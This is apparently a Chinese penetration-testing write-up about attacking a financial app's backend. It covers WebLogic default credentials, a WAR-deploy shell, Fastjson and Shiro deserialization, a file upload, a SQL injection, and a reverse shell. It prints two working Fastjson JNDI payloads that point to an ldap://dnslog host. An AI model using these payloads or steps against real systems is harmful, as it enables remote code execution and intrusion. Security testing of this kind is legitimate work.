前言

某天上午照常被上级拉到新建的工作群里，开始了一天的渗透测试（浑水摸鱼）。不出意外这次的目标还是App，而且还是金融类的，自上个项目遭受某银行App的毒打之后，内心就对金融类App充满了抵触与恐惧，当前这次也不例外。怀揣着无比失落的心情开始了一天的工作，果不其然，此App通信的请求与响应包都经过了加密处理，就比如下面这样，但一看到端口是7002，抱着试试看的心态，遂有此文。

Weblogic弱口令

从请求包中看到了7002端口，感觉大概率是Weblogic，访问了一下果然出现了熟悉的页面，随手输个console就来到了登录页面，因为最近爆的Weblogic漏洞属实有点多，自己竟然没有第一时间去试试弱口令，导致在这个阶段浪费了很多不必要的时间，尝试了2551、2883均没有成功，最后询问@Y4er师傅才明白原来10.3.6.0版本的那个jar包根本没有用上。就在打算放弃的时候，weblogic/weblogic123诚不欺我。

Getshell

都进入Weblogic后台了，直接部署war包getshell，这儿就不细说了，免得浪费师傅们的宝贵时间。

Fastjson远程命令执行

在Weblogic管理界面可以看到管理员部署了两个站点，在服务器上找到两个站点对应的war包下载到本地进行查看。首先查看第一个站点的lib目录下引用了哪些jar包，fastjson映入眼帘，而且还是1.1.39版本，加上找到了开发为了测试网站各个功能点而留下的debug页面，不禁窃喜。


开始漏洞利用，这里使用1.2.47版本的payload并没有打成功

1.2.47
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://dnslog","autoCommit":true}}}

但是换了1.2.45版本的payload却可以，这是我当时没有想明白的地方，有知道的师傅还请不吝赐教

1.2.45
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://dnslog"}}

任意文件上传

还是第一个站点，这儿大致看了看文件上传的代码，看到并没有任何过滤，找到文件上传的方法（/file/upload.do）,构造数据包进行上传


可以看到确实上传成功了，但是没有返回路径，再返回源码仔细一看，原来上传的文件被传到临时目录/temp下了，空欢喜一场

后台弱口令

这里开始看第二个站点，在Weblogic后台管理页面查到该war包部署的上下文，直接访问后是个登录页面，此时根据配置文件里数据库的相关信息去连接数据库，连上以后发现数据库里的数据都经过了加密处理。无奈只好继续翻翻其他配置文件，终于在Oracle目录下找到一些很久之前的sql文件，发现里面数据并不多，感觉是当时作测试用的

找到admin用户去解md5，结果竟然是admin123，顿时语塞

SQL注入

进入后台后最先看到的就是这个搜索框，出于职业习惯，随手输个单引号试试

真是按捺不住此时激动的心情，又可以凑漏洞数了，掏出payload直接淦

Shiro反序列化命令执行

接着第二个站点，还是老套路，点开lib目录看依赖，这次映入眼帘的是Shiro，同样也是低版本的，二话不说找到工具一把梭，很快就跑到了Key，使用的是默认秘钥，但是却找不到有效的利用链，这是怎么回事呢？


再回过头来看源码，发现shiro确实是低版本，并且Key也可以找到。这时候才看到commons-beanutils的版本是1.8.3，但是ysoserial里CommonsBeanutils1所依赖的commons-beanutils版本是1.9.2，所以一直打不成功


修改ysoserial里commons-beanutils的版本为1.8.3并重新打包，利用CommonsBeanutils1成功反弹shell

后记

本文并没有太多技术亮点，都是一些基本操作，之所以记录下来是因为感觉在目前这个大环境下，能碰到此类目标实属万幸。文中措词不当之处还望各位大师傅们见谅，祝各位师傅天天都打这种站。